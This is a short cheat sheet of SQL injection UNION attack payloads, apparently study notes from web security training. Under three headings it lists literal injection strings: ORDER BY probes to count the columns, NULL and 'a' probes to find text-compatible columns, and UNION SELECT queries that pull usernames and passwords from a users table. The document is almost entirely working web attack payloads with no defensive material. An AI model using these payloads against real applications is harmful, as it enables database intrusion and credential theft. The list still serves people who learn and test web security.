SQL injection UNION attacks
Retrieving multiple values within a single column
' UNION SELECT username || '~' || password FROM users--
' UNION SELECT username, password FROM users--
Finding columns with a useful data type in a SQL injection UNION attack
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
Determining the number of columns required in a SQL injection UNION attack
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--